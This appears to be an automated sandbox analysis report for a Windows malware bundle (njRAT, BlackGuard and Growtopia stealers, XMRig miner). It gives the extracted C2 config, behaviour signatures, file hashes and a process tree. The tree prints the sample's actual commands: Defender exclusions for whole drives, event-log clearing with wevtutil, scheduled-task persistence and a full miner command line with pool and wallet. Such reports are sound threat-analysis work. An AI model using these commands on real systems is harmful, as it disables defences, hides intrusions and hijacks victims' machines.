Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/02/2026, 09:49

General

  • Target
    2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
  • Size 30.6MB
  • Sample260204-ltppvscw9c
  • SHA256 949fdff7add8424402563119503a81a3ea58be83321ba17a12a82b02fc6402ce
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • njrat

Version
  • Njrat 0.7 Golden By Hassan Amiri

Botnet
  • administtrator

C2
  • 26.169.62.1:5552

Mutex
  • Windows Update

Attributes
  • reg_key

    Windows Update

  • splitter

    |Hassan|

Signatures

  • BlackGuard

    Infostealer first seen in Late 2021.

  • Blackguard family
  • Growtopia

    Growtopa is an opensource modular stealer written in C#.

  • Growtopia family
  • Njrat family
  • Xmrig family
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Clears Windows event logs 1 TTPs 3 IoCs
  • XMRig Miner payload 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 10 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3732
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\juscheck.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2900
      • C:\Users\Admin\AppData\Local\Temp\javaw.exe
        "C:\Users\Admin\AppData\Local\Temp\javaw.exe" -pDhajqJHDkqin
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2988
        • C:\Users\Admin\AppData\Local\Temp\juscheck.exe
          "C:\Users\Admin\AppData\Local\Temp\juscheck.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4764
          • C:\Users\Admin\microsoftedge.exe
            "C:\Users\Admin\microsoftedge.exe"
            5⤵
            • Drops startup file
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3192
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /create /sc minute /mo 1 /tn Server /tr C:\Users\Admin\AppData\Local\Temp/Server.exe
              6⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3984
        • C:\Users\Admin\AppData\Local\Temp\java.exe
          "C:\Users\Admin\AppData\Local\Temp\java.exe"
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Windows\SYSTEM32\wevtutil.exe
            "wevtutil.exe" cl System
            5⤵
            • Clears Windows event logs
            • Suspicious use of AdjustPrivilegeToken
            PID:2160
          • C:\Windows\SYSTEM32\wevtutil.exe
            "wevtutil.exe" cl Application
            5⤵
            • Clears Windows event logs
            • Suspicious use of AdjustPrivilegeToken
            PID:4836
          • C:\Windows\SYSTEM32\wevtutil.exe
            "wevtutil.exe" cl Security
            5⤵
            • Clears Windows event logs
            • Suspicious use of AdjustPrivilegeToken
            PID:4164
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cleanup.bat""
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2484
            • C:\Windows\system32\timeout.exe
              timeout /t 3 /nobreak
              6⤵
              • Delays execution with timeout.exe
              PID:4452
        • C:\Users\Admin\AppData\Local\Temp\jusched.exe
          "C:\Users\Admin\AppData\Local\Temp\jusched.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4792
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\jusched.exe"
            5⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1368
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1672
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3948
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4288
            • C:\Windows\System32\cmd.exe
              "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "java" /tr "C:\Windows\system32\java.exe"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3568
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc onlogon /rl highest /tn "java" /tr "C:\Windows\system32\java.exe"
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5056
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c "C:\Windows\system32\java.exe"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1804
              • C:\Windows\system32\java.exe
                C:\Windows\system32\java.exe
                7⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4616
                • C:\Windows\System32\conhost.exe
                  "C:\Windows\System32\conhost.exe" "C:\Windows\system32\java.exe"
                  8⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1744
                  • C:\Windows\System32\cmd.exe
                    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                    9⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3388
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                      10⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3040
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                      10⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3736
                  • C:\Windows\system32\Microsoft\Libs\sihost64.exe
                    "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
                    9⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4648
                    • C:\Windows\System32\conhost.exe
                      "C:\Windows\System32\conhost.exe" "/sihost64"
                      10⤵
                        PID:1936
                    • C:\Windows\System32\conhost.exe
                      C:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=43NbUZrvQLai2SVbAdwH1oaZWZvP5yhgbLEHkwR875R9guyzTaNjH7HGXat49D5keT5ftJQdTdA8LLfFsCFHxQTdMwcGshA --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-kill-targets="" --cinit-idle-wait=5 --cinit-idle-cpu=80 --nicehash --tls --cinit-stealth --cinit-kill --cuda --cuda-loader="C:\Windows\system32\Microsoft\Libs\ddb64.dll"
                      9⤵
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2824
    • C:\Users\Admin\AppData\Local\Temp\Server.exe
      C:\Users\Admin\AppData\Local\Temp/Server.exe
      1⤵
      • Executes dropped EXE
      PID:2824
    • C:\Users\Admin\microsoftedge.exe
      "C:\Users\Admin\microsoftedge.exe" ..
      1⤵
      • Executes dropped EXE
      PID:1816
    • C:\Users\Admin\AppData\Local\Temp\Server.exe
      C:\Users\Admin\AppData\Local\Temp/Server.exe
      1⤵
      • Executes dropped EXE
      • Suspicious behavior: GetForegroundWindowSpam
      PID:1988

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          Server.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Server.exe.log
          • Size 1KB
          • SHA256 8b96a8557deea66696837af011843d6a82451ba57c8f9b5a2726a70818d6fc7e
          • MD5 SHA1 SHA512 TLSH

          conhost.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
          • Size 646B
          • SHA256 f416e8f8135e0d7a3163860b44fe7ebc8ca0f42e783e870e6ec74e3b6da44f88
          • MD5 SHA1 SHA512 TLSH

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 8478ca44e6145dbe6664f871852535793f5ab6d86b4c78c611165bdfb91f159a
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 da8b533f81b342503c109e46b081b5c5296fdad5481f93fe5cc648e49ca6238e
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_krty5hv4.kqo.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_krty5hv4.kqo.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          cleanup.bat

          • Path C:\Users\Admin\AppData\Local\Temp\cleanup.bat
          • Size 144B
          • SHA256 7d602dc4a4402117edcc1643bfdd39d87fd48b4a30d5e152e788d786a963aae8
          • MD5 SHA1 SHA512 TLSH

          java.exe

          • Path C:\Users\Admin\AppData\Local\Temp\java.exe
          • Size 296KB
          • SHA256 3fca68d671c0a407d59b5cab6ba3038c39181cdaffd1a3ae178c4b1bed028d7f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          javaw.exe

          • Path C:\Users\Admin\AppData\Local\Temp\javaw.exe
          • Size 30.4MB
          • SHA256 54f8ea69ea9c536a13b5dcb7d1c1fcc4c26c8703c19dd8b9c4fdad7e41c6ede9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          juscheck.bat

          • Path C:\Users\Admin\AppData\Local\Temp\juscheck.bat
          • Size 57B
          • SHA256 1afa992ba2b3661006f6f9fe69f242cbd162c2273d43427f45724f023a72e38b
          • MD5 SHA1 SHA512 TLSH

          juscheck.exe

          • Path C:\Users\Admin\AppData\Local\Temp\juscheck.exe
          • Size 25KB
          • SHA256 cbe0d4aec72655f79881a6036a2c9a111212e74757a2db7f4f8266850e8dfca9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          jusched.exe

          • Path C:\Users\Admin\AppData\Local\Temp\jusched.exe
          • Size 29.8MB
          • SHA256 49adcc264da9a3a2144379224dfb7c1a34e3b55ae39a9ffbd8029fe5b9bceb7e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          tmp5ABB.tmp.dat

          • Path C:\Users\Admin\AppData\Local\Temp\tmp5ABB.tmp.dat
          • Size 224KB
          • SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          tmp5ACD.tmp.dat

          • Path C:\Users\Admin\AppData\Local\Temp\tmp5ACD.tmp.dat
          • Size 204KB
          • SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
          • MD5 SHA1 SHA512 SSDEEP TLSH

          sihost64.exe

          • Path C:\Windows\System32\Microsoft\Libs\sihost64.exe
          • Size 32KB
          • SHA256 ebbc9dbaf56dafe30df4098839c526d2883fa7975e3cad939bb7a40e71fc04ec
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ddb64.dll

          • Path C:\Windows\system32\Microsoft\Libs\ddb64.dll
          • Size 32.2MB
          • SHA256 528458c9d7ac88959d2d83aecd0544bf75727d34795deaf658ff3b82000a9e44
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1368-209-0x000001D3ACDD0000-0x000001D3AEB8F000-memory.dmp

          memory/1368-211-0x000001D3B2460000-0x000001D3B2472000-memory.dmp

          memory/1368-212-0x000001D3B2490000-0x000001D3B249A000-memory.dmp

          memory/1368-210-0x000001D3CCCE0000-0x000001D3CEAA0000-memory.dmp

          memory/1936-296-0x0000021BDC540000-0x0000021BDC547000-memory.dmp

          memory/1936-297-0x0000021BDE160000-0x0000021BDE166000-memory.dmp

          memory/1988-301-0x00000000012B0000-0x00000000012C2000-memory.dmp

          memory/2552-40-0x000001AB60A40000-0x000001AB60A90000-memory.dmp

          memory/2824-279-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2824-277-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2824-273-0x000001FE17560000-0x000001FE17580000-memory.dmp

          memory/2824-280-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2824-281-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2824-270-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2824-278-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2824-272-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2824-299-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2824-290-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2824-293-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2824-208-0x00000000012F0000-0x0000000001302000-memory.dmp

          memory/3192-103-0x00000000013A0000-0x00000000013B2000-memory.dmp

          memory/3948-222-0x000001BED9280000-0x000001BED92A2000-memory.dmp

          memory/4764-43-0x0000000001160000-0x0000000001172000-memory.dmp

          memory/4764-42-0x00000000009C0000-0x00000000009C8000-memory.dmp